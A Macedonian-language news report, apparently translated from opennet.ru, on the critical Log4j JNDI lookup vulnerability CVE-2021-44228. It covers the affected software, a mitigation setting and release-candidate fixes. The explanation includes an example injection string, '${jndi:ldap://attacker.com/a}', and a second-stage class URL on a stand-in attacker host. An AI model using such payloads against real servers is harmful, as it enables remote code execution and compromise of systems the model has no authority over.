Катастрофална ранливост во Apache Log4j што влијае на многу Java проекти

Во Apache Log4j, популарна рамка за организирање на најавување во Java апликациите, идентификувана е критична ранливост која овозможува произволен код да се изврши кога специјално форматирана вредност во форматот „{jndi:URL}“ е запишана во дневникот. Нападот може да се изврши на Java апликации кои ги запишуваат вредностите добиени од надворешни извори, на пример, кога прикажуваат проблематични вредности во пораките за грешка.

Забележано е дека скоро сите проекти што користат рамки како што се Apache Struts, Apache Solr, Apache Druid или Apache Flink се погодени од проблемот, вклучувајќи ги Steam, Apple iCloud, Minecraft клиентите и серверите. Се очекува дека ранливоста може да доведе до бран масовни напади врз корпоративни апликации, повторувајќи ја историјата на критичните пропусти во рамката Apache Struts, која, според груба проценка, се користи во веб апликации од 65% од Fortune 100 компании Вклучувајќи обиди за скенирање на мрежата за ранливи системи.

Проблемот се влошува со фактот што веќе е објавен работен експлоат, но сè уште не се составени поправки за стабилните гранки. Идентификаторот CVE сè уште не е доделен. Поправката е вклучена само во гранката за тестирање log4j-2.15.0-rc1. Како решение за блокирање на ранливоста, се препорачува да го поставите параметарот log4j2.formatMsgNoLookups на true.

Проблемот беше предизвикан од фактот што log4j поддржува обработка на специјални маски „{}“ во линии што излегуваат во дневникот, во кои JNDI (Јава именување и интерфејс за директориуми) може да се извршат. Нападот се сведува на пренесување низа со замена „${jndi:ldap://attacker.com/a}“, по обработката на која log4j ќе испрати барање LDAP за патеката до класата Java до серверот attacker.com . Патеката вратена од серверот на напаѓачот (на пример, http://second-stage.attacker.com/Exploit.class) ќе биде вчитана и извршена во контекст на тековниот процес, што му овозможува на напаѓачот да изврши произволен код на систем со правата на тековната апликација.

Додаток 1: На ранливоста и е доделен идентификаторот CVE-2021-44228.

Додаток 2: Идентификуван е начин за заобиколување на заштитата додадена со ослободување log4j-2.15.0-rc1. Предложено е ново ажурирање, log4j-2.15.0-rc2 со поцелосна заштита од ранливоста. Кодот ја нагласува промената поврзана со отсуството на абнормално завршување во случај на користење на неправилно форматирана JNDI URL.

Извор: opennet.ru

Додадете коментар